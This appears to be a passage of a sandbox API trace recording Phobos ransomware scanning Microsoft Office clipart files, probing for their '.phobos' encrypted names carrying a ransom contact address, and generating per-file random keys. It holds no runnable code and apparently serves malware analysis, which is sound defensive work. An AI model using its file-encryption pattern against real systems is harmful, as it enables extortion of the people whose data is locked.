1 [0154.542] CloseHandle (hObject=0x254) returned 1 [0154.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02067_.wmf")) returned 0x220 [0154.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02067_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02067_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.542] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.543] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8948) returned 1 [0154.543] CloseHandle (hObject=0x254) returned 1 [0154.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02958_.wmf")) returned 0x220 [0154.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02958_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02958_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.544] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.545] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3030) returned 1 [0154.545] CloseHandle (hObject=0x254) returned 1 [0154.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby1.wmf")) returned 0x220 [0154.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY1.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby1.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.545] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.575] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2582) returned 1 [0154.575] CloseHandle (hObject=0x368) returned 1 [0154.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby2.wmf")) returned 0x220 [0154.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY2.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby2.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.576] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.576] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1264) returned 1 [0154.576] CloseHandle (hObject=0x368) returned 1 [0154.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00110_.wmf")) returned 0x220 [0154.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00110_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00110_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.577] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.577] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6212) returned 1 [0154.577] CloseHandle (hObject=0x368) returned 1 [0154.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00127_.wmf")) returned 0x220 [0154.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00127_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00127_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.578] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.578] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2076) returned 1 [0154.578] CloseHandle (hObject=0x368) returned 1 [0154.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00132_.wmf")) returned 0x220 [0154.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00132_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00132_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.579] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.579] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5138) returned 1 [0154.579] CloseHandle (hObject=0x368) returned 1 [0154.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00170_.wmf")) returned 0x220 [0154.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00170_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00170_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.580] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.580] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1292) returned 1 [0154.580] CloseHandle (hObject=0x368) returned 1 [0154.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00560_.wmf")) returned 0x220 [0154.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00560_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00560_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.582] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1912) returned 1 [0154.582] CloseHandle (hObject=0x368) returned 1 [0154.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00642_.wmf")) returned 0x220 [0154.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00642_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00642_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.582] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.583] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8340) returned 1 [0154.583] CloseHandle (hObject=0x368) returned 1 [0154.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00788_.wmf")) returned 0x220 [0154.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00788_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00788_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.583] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.586] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12252) returned 1 [0154.586] CloseHandle (hObject=0x368) returned 1 [0154.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00792_.wmf")) returned 0x220 [0154.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00792_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00792_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.588] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10084) returned 1 [0154.588] CloseHandle (hObject=0x368) returned 1 [0154.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00795_.wmf")) returned 0x220 [0154.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00795_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00795_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.588] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.589] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2480) returned 1 [0154.589] CloseHandle (hObject=0x368) returned 1 [0154.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00882_.wmf")) returned 0x220 [0154.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00882_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00882_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.590] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.591] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1588) returned 1 [0154.591] CloseHandle (hObject=0x368) returned 1 [0154.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01006_.wmf")) returned 0x220 [0154.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01006_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01006_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.591] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.594] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10036) returned 1 [0154.594] CloseHandle (hObject=0x368) returned 1 [0154.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01252_.wmf")) returned 0x220 [0154.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01252_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01252_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.594] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.609] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1930) returned 1 [0154.609] CloseHandle (hObject=0x368) returned 1 [0154.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01253_.wmf")) returned 0x220 [0154.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01253_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy01253_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft 